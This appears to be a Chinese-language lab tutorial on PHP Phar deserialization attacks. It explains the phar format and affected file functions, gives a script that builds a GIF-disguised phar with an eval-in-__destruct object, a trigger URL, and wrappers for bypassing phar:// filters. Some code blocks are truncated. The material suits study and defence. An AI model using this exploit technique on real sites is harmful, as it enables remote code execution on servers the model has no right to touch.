反序列化之Phar流
Phar就是php的压缩文档
利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。
一般来说,文件操作都是可以触发phar反序列化的。
可以上传Phar文件
如
file_exists()
,fopen()
,file_get_contents()
,file()
等文件操作的函数有可以利用的魔术方法
如
__destruct()
,_wa keup()
文件操作函数的参数可控,且
:
、/
、phar
字符未被过滤
phar结构
phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 **[optional] a signature for verifying Phar integrity (phar file format only)**,以下是对详细的介绍:
stub
格式为
xxx;<?php xxx; __HALT_COMPILER();?>
前面任意,但是一定要以
__HALT_COMPILER();?>
结尾,否则php无法识别这是一个phar。Manifest
压缩文件的属性等信息,以序列化存储;
phar文件实质上是一种压缩文件,其中压缩信息、权限等都在这一部分里。当然,我们所需的攻击利用点meta-data序列化信息也在这一部分中。是漏洞利用的关键点。
contents
被压缩的文件,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
signature
签名,放在文件末尾
文件函数
部分文件函数 通过phar://
伪协议解析phar文件时都会使meta-data反序列化
受影响的函数有:
fileatime | file_exists | file_get_contents | file_put_contents |
---|---|---|---|
file | filegroup | fopen | fileinode |
fileowner | fileperms | is_dir | is_file |
is_link | is_executable | is_readable | is_writeable |
is_wirtble | parse_ini_file | copy | unlink |
stat | readfile | info_file |
实验1
先生成phar文件
1 |
|
- 可以看到
$o
的数据已经被序列化存储到phar.phar中了 - 然后使用phar流对 phar包进行反序列化
1 |
|
实验2
源码
Upload_file.html
1 | <!DOCTYPE html> |
Upload_file.php
1 |
|
file_un.php
1 |
|
解析
从代码上可以看出是让上传一张gif的格式的文件,这点我们只要在phar的文件头加上GIF89a 即可绕过。
然后就是upload_un.php里的内容,因为
file_exists
函数会自动为phar文件进行反序列化,所以便会触发__destruct
魔法函数,进而造成命令执行使用下面代码先生成phar文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();最后访问upload_un.php页面,并对
filename
传参如下:/file_un.php?filename=phar://upload_file/phar.gif
绕过对phar头的过滤
方法1
1 | $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt'; |
方法2
1 | @include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar'); |
学习链接